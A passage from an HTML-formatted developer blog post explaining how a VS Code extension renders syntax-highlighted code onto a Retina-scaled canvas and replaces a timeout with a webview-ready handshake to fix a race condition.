&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// scale the context — all our coordinates stay the same&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The canvas is 2× the display size but we scale the context by 2× before drawing. Every coordinate we use is still in CSS pixels. The exported PNG is full Retina resolution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Syntax highlighting via HL.js
&lt;/h3&gt;

&lt;p&gt;This is where the real trick lives. HL.js gives us highlighted HTML like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hljs-keyword"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;const&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; 
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hljs-title function_"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;greet&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hljs-punctuation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;(&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hljs-params"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;name&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"hljs-punctuation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;)&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We parse that HTML into a flat token list, then paint each token with its color:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseHljsHtml&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultColor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DOMParser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/pre&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text/html&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;flattenNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pre&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;defaultColor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;flattenNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;inheritColor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nodeType&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TEXT_NODE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;inheritColor&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nodeType&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ELEMENT_NODE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cls&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;className&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;color&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;activePalette&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="nx"&gt;inheritColor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;childNodes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;flattenNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;flattenNode&lt;/code&gt; recursively walks the HL.js DOM output. When it hits a text node, it records the current inherited color. When it hits a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, it looks up the class name in our palette and updates the color for that subtree.&lt;/p&gt;

&lt;p&gt;Then we split by newlines to get per-line segment arrays, and paint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;lineSegs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;segs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;codeY&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;LINE_H&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Line number (dim, right-aligned)&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;showLines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rgba(200,200,220,.22)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textAlign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;right&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lineStart&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;lineNumX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textAlign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;left&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Colored tokens, left-to-right&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;codeX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;seg&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;segs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;measureText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the part that makes the output look good. Each token is measured and positioned individually, so the colors align exactly with the text.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Race Condition I Fixed
&lt;/h2&gt;

&lt;p&gt;The tricky part wasn't the canvas rendering — it was the integration between CodeSnap and the Composer.&lt;/p&gt;

&lt;p&gt;The original approach was &lt;code&gt;setTimeout&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ Old approach — fragile&lt;/span&gt;
&lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;executeCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dotshare.openFullWebview&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;post&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;platform&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;DotShareWebView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mediaAttached&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mediaFiles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// hope 800ms is enough...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This breaks on slow machines. It breaks on first load when VS Code needs to compile the extension. It breaks when the Composer webview is loading a saved draft.&lt;/p&gt;

&lt;p&gt;The fix is a proper handshake. The Composer fires &lt;code&gt;webviewReady&lt;/code&gt; when it mounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app.ts (Composer WebView)&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;onReady&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;enableDragAndDrop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLTextAreaElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;post-text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="nf"&gt;enableDragAndDrop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLTextAreaElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;blog-body&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;webviewReady&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// ← "I'm alive, send me stuff"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readyState&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;loading&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DOMContentLoaded&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onReady&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;once&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;onReady&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extension host handles &lt;code&gt;webviewReady&lt;/code&gt; in &lt;code&gt;DotShareWebView&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DotShareWebView.ts&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;webviewReady&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;executeCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dotshare._composerReady&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;panel&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;_composerReady&lt;/code&gt; atomically consumes any pending snap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// extension.ts&lt;/span&gt;
&lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dotshare._composerReady&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;panel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WebviewPanel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;CodeSnapPanel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;consumePendingSnap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;panel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mediaAttached&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;mediaFiles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
                &lt;span class="na"&gt;mediaPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;filePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;mediaFilePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;filePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
